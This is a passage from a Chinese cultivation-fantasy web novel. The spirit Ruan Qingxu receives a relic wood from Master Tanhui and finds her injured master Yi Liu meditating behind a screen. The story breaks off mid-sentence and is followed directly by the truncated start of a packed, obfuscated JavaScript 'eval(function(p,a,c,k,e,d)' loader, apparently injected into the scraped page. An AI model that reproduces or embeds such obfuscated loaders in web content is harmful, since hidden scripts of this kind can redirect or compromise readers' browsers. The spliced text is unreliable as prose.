眉眼此时也忍不住皱了起来。
听见昙晖的声音阮清许才察觉屋里还有其他人。
转身看见曾经给自己批命的昙晖,抬手挥了挥:“许久不见,昙晖大师。”
上次阮清许来时,还是春熙,如今四时轮回,又入深秋了。
昙晖看着算不上健康的魂体,立即将本就打算给卫源的苍木拿出来。
阮清许看着桌上那一小节木头,又看了看端坐着的昙晖,有些不好意思。
对于这个还算是自己看着长大的晚辈,昙晖当然知晓阮清许时薄时厚的脸皮,宽慰道:“这木头在我手中也无处可用,你安心拿着便是。”
如此生气蓬勃的法器,又是昙晖大师的师父留给他的,又怎么会无处可用?
哪怕打磨成珠子,串成佛珠手串,也是极好的选择。
阮清许知道这不过是安慰自己的话罢了,她能得到这木头,怕是昙晖看在她师父伊柳的面上。
说到伊柳,自己入了秘境后便再无音讯,她师父怕是要着急了。
阮清许又急忙拜托大师帮忙传话。
话音才落,屋里的两人眼神顿时古怪起来。
不知自己刚才的话有何不对的阮清许茫然极了。
提起伊柳,昙晖眼神复杂:“你命牌碎后,你师父便想活要见人死要见尸,早早就去寻你了,只是途中遇到了意外,受了伤,此时正在屏风后疗伤。”
师父就在屋里?
本就茫然的阮清许更加茫然了,那为何她一丝一毫都未能察觉?
阮清许飘向屏风后,果不其然见到了正在打坐的伊柳。
只见伊柳双眼紧闭,周身环绕着淡淡的雾气,好似完全沉浸在修炼中,听不见外界的叨扰。
阮清许飘在两步远的地方,静静地注视着她的师父,好似要将伊柳的面样深深刻在脑海里。
“师父她还会醒过来吗?”
重新飘出来的阮清许有些担忧望着昙晖。
昙晖点点头,笃定:“会醒来的。”
除了相信昙晖,变成魂体帮不上忙的阮清许别无他法。
昙晖扫了一眼从阮清许现身后便不曾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?St